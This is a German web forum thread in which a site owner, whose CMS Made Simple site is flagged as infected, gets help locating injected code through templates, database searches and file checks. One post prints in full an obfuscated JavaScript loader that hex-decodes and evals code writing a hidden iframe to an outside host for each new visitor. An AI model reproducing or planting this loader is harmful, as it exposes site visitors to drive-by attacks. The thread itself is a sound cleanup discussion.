Virus gefunden- verunsichert

[oliver204]

Hallo Forum,
ein ganz anderes Thema: Mein AVIRA Virusscanner meldet seit einigen Tagen

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL: http://www.huder-akkordeongruppe.de/cms/
Information: Contains recognition pattern of the HTML/Crypted.Gen HTML script virus

Mein Webhoster fordert die Beseitigung des Virus, na klar ist das auch mein Anliegen.

Ich habe nur überhaupt keine Idee wie das zu bewerkstelligen ist. Hat jemand einen Vorschlag?

Gruß
Oliver

[antibart]

Schau am besten zuerst hier:

http://forum.cmsmadesimple.org/index.php?topic=31782.0


Da wird das Thema besprochen... leider wurdest du tatsächllich vermutlich gehackt..

[oliver204]

Danke für den Tipp. Ich finde leider keinen Fehler,
die config.php sieht gut aus. scheint meine DB zu sein.

In der HTML Ausgabe steht aber dieser Code

Code: Select all

<__script__ language="JavaScript" type="text/javascript">
E813CB3C8C77="p";E813CB3C8C77+="arseI";E813CB3C8C77+="nt";B7E6E="String.f";B7E6E+="ro";B7E6E+="mC";B7E6E+="harC";B7E6E+="o";B7E6E+="de";function AEBC0AC8B8E(B9A28314){var D00487DC4D91FF=728;D00487DC4D91FF=D00487DC4D91FF-712;E160B156B38A82=eval(E813CB3C8C77+"(B9A28314,D00487DC4D91FF)");return(E160B156B38A82);}function F080EF9D712A52(F7E4CF8768FE067){var A67E737A7E=517;A67E737A7E=A67E737A7E-515;var B1F26312F914D="";for(BB8FE=0;BB8FE<F7E4CF8768FE067.length;BB8FE+=A67E737A7E){B1F26312F914D+=( eval(B7E6E+"(AEBC0AC8B8E(F7E4CF8768FE067.substr(BB8FE,A67E737A7E)))"));}eval(B1F26312F914D);}F080EF9D712A52("69662028646F63756D656E742E636F6F6B69652E73656172636828227877663D332229203D3D202D3129207B0A657A763D646F63756D656E742E676574456C656D656E74427949642827637572757A27293B696628657A763D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D637572757A207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20227877663D333B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
</__script>

Ob das der Übeltäter ist? Nur wie bekomm ich ihn da raus...

Dafür reicht mein Wissen leider hinten und vorne nicht. Bin über jeden Vorschlag dankbar.

LG

[antibart]

Ja. das ist er!!

Ich habe mal gegoogelt. Wordpress-User haben oft mit diesem Virus zu kämpfen. Und in den Foren sieht der Code dem deinen sehr ähnlich.

Du kannst versuchen, den Code löschen. Wenn dann alles OK ist, prima. Falls noch vorhanden, das Installverziechnis löschen und die config auf 444 stellen.

Wenn nicht, wirst du um ein DB-Update nicht herumkommen. Denn wie der erzuegt wird,m scheint auch in dem anderen Thread noch nicht endgültig geklärt worden zu sein.

Etwas umständlicher wäre noch die Möglichkeit, alle Dateiein und Ordner auf die lokale Festplatte zu ziehen und mit einem guten Editor global zu durchsuchen.

[oliver204]

aha danke für den hinweis


und wo such ich nach dem code

[RonnyK]

Oliver,

schau deine Template mal an... Es hort sich an, ob da etwas an zugefugt ist....

Ronny

[antibart]

schau deine Template mal an... Es hort sich an, ob da etwas an zugefugt ist....

Das Problem ist, dass dieser Code an anderer Stelle generiert und die DB eingefügt werden könnte.

und wo such ich nach dem code

Wenn ich das genau wüsste, hätte ich es dir natürlich sofort mitgeteilt.

Deswegen: so wie Ronny und ich es bereits  gesagt haben: schau unter Layout -> Template ->DeinTemplate, ob dort der Code driinsteht und lösch in raus. Schau sicherheitshalber auch in alle anderen Templates.

Wenn er das Problem damit gelöst ist: Prima.

Wenn nicht - wie ebenfalls bereits gesagt: Entweder alles durchsuchen. Gute HTML-Editoren verfügen über eine globale Suchfunktion. Such nicht nur nach dem ganzen JavaSript code, sondern auch nach prägnanten Zeichenketten innerhalb des Codes.

Oder aber: neu installieren.

die config.php sieht gut aus. scheint meine DB zu sein.

Das ist ein recht vage Aussage. Du solltest es schon genau wissen.

...

..

[mike-r]

Such nicht nur nach dem ganzen JavaSript code, sondern auch nach prägnanten Zeichenketten innerhalb des Codes.

Das kann ins Auge gehen, da solcher Code i.d.R. "verschlüsselt" ist. Hatte das demletzt mal gesehen bei einer Webseite, da war der Code - wenn ich mich recht entsinne - Base64-codiert.
Einzig zielführender Weg dürfte sein ausschliesslich nach "Javascript" zu suchen, und die Ergebnisse zu sichten.

[oliver204]

hallo leute,
danke für eure hilfe und ideen

also:

-template zeigt keine auffälligkeiten soweit ich das sehe

-in der db hab ich nach javascripten gesucht und bekomme jedem menge treffer
z.B in dem table xxxxx_templates:

Code: Select all

SQL query: SELECT *
FROM `XXXXXX`.`hakk_templates`
WHERE `template_id` LIKE '%javascript%'
OR `template_name` LIKE CONVERT( _utf8 '%javascript%'
USING latin1 )
COLLATE latin1_swedish_ci
OR `template_content` LIKE CONVERT( _utf8 '%javascript%'
USING latin1 )
COLLATE latin1_swedish_ci
OR `stylesheet` LIKE CONVERT( _utf8 '%javascript%'
USING latin1 )
COLLATE latin1_swedish_ci
OR `encoding` LIKE CONVERT( _utf8 '%javascript%'
USING latin1 )
COLLATE latin1_swedish_ci
OR `active` LIKE '%javascript%'
OR `default_template` LIKE '%javascript%'
OR `create_date` LIKE '%javascript%'
OR `modified_date` LIKE '%javascript%'
LIMIT 0 , 30

das ist es aber nicht oder ? sorry, ich bin leider da technisch nicht bewandert genug.

bin für jeden hinweis dankbar

[oliver204]

eine frage noch:

in früheren versionen nie aufgefallen. mein template beginnt so:

Code: Select all

{process_pagedata}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

normal?

[RonnyK]

Yep is normal.... Damit wird nur gezagt, das die metadata direct verarbeitet werd, und damit verfugbar ist bevor den {content} angerufen ist...

Kannst du dein Template mal zeigen... oder uber PM, wenn du die nicht hier zeigen mochtest...

Ronny

[oliver204]

kein Prob:

Code: Select all

{process_pagedata}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<__html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
{* Change lang="en" to the language of your site *}

<head>

<title>{sitename} - {title}</title>
{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}

{metadata}
{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}

{stylesheet}
{* This is how all the stylesheets attached to this template are linked to *}

{cms_selflink dir="start" rellink=1}
{cms_selflink dir="prev" rellink=1}
{cms_selflink dir="next" rellink=1}
{* Relational links for interconnections between pages, good for accessibility and Search Engine Optmization *}


{literal}
<__script__ type="text/JavaScript">
<!--
//pass min and max -measured against window width
function P7_MinMaxW(a,b){
	var nw="auto",w=document.documentElement.clientWidth;
	if(w>=b){nw=b+"px";}if(w<=a){nw=a+"px";}return nw;
}
//-->
</__script>
<!--[if lte IE 6]>
<style type="text/css">
#pagewrapper {width:expression(P7_MinMaxW(720,950));}
#container {height: 1%;}
</style>
<![endif]-->
{/literal}
{* The min and max page width for Internet Explorer is set here. For other browsers it's in the stylesheet "Layout: Top menu + 2 columns" *}


<!--[if IE]>
<__script__ type="text/javascript" src="modules/MenuManager/CSSMenu.js"></__script>
<![endif]-->
{* The above JavaScript is required for CSSMenu to work in IE *}

</head>

</__body>

<div id="pagewrapper">

    {* start accessibility skip links *}
    <ul class="accessibility">
      <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>
      <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>
    </ul>
    {* end accessibility skip links *}


    <hr class="accessibility" />
    {* Horizontal ruler that is hidden for visual browsers by CSS *}


   {* Start Header, with logo image that links to the default start page. Logo image is changed in the stylesheet  "For template: Left menu + 1 column" *}
   <div id="header">
           <h1>{cms_selflink dir="start" text="$sitename"}</h1>
   <hr class="accessibility" />
   </div>
   {* End Header *}


      {* Start Navigation *}
      <div id="menu_vert">
         <h2 class="accessibility">Navigation</h2>
         {menu template='cssmenu.tpl'}
      <hr class="accessibility" />
      </div>
      {* End Navigation *}


   {* Start Search *}
   <div id="search">
          {*search*}
   </div>
   {* End Search *}


   {* Start Breadcrumbs *}
   <div class="breadcrumbs">
        {breadcrumbs starttext='Sie sind hier' root='Home' delimiter='»'}
   <hr class="accessibility"/>
   </div>
   {* End Breadcrumbs *}


   {* Start Content (Navigation and Content columns) *}
   <div id="content">

  {* Start Sidebar *}
      <div id="sidebar" class="hascontent">
         {*content block='Sidebar'*}
      </div>
      {* End Sidebar *}

    
      {* Start Content Area *}
      <div id="main">
         <div style="float: right;">{print showbutton=true script=true}</div>
         <h2></h2>
         {content} <br />

         {* Start relational links *}

	 <div class="right49">
	 	<p>{*anchor anchor='main' text='^ Top'*}</p>
	 </div>
         <div class="left49">
            <p>{*cms_selflink dir="previous" label="Previous page: "*} <br />
            {*cms_selflink dir="next"*}</p>
         </div>
         {* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}
	 {* End relational links *}


      </div>
	  {* End Content Area *}

   </div>
   {* End Content *}


   {* Start Footer. Edit the footer in the Global Content Block called "footer" *}
   <div id="footer">
      {global_content name='footer'}
   </div>   
   {* End Footer  *}


</div>{* end pagewrapper *}
<__body>
</__html>

[mike-r]

Das Template ist sauber. Unter Umständen kommt das JS auch gar nicht aus CMSMS, sondern wird direkt vom Server eingefügt.
Hätte ich grad keine direkten Anhaltspunkte, schau Dir mal deine htaccess-en durch, evtl. wirst Du fündig. Alternativ im Ordner WEB oder HTML schauen, ob da ominöses Zeux rumliegt.

[RonnyK]

Oliver,

kannst du mal schauen wann die dateien im /admin ordner geandert sind....

Ronny

[oliver204]

die Dateien 23.03.2009 bis auf eine txt Datei (xss_changes_to_admin), die vom 13.12.2008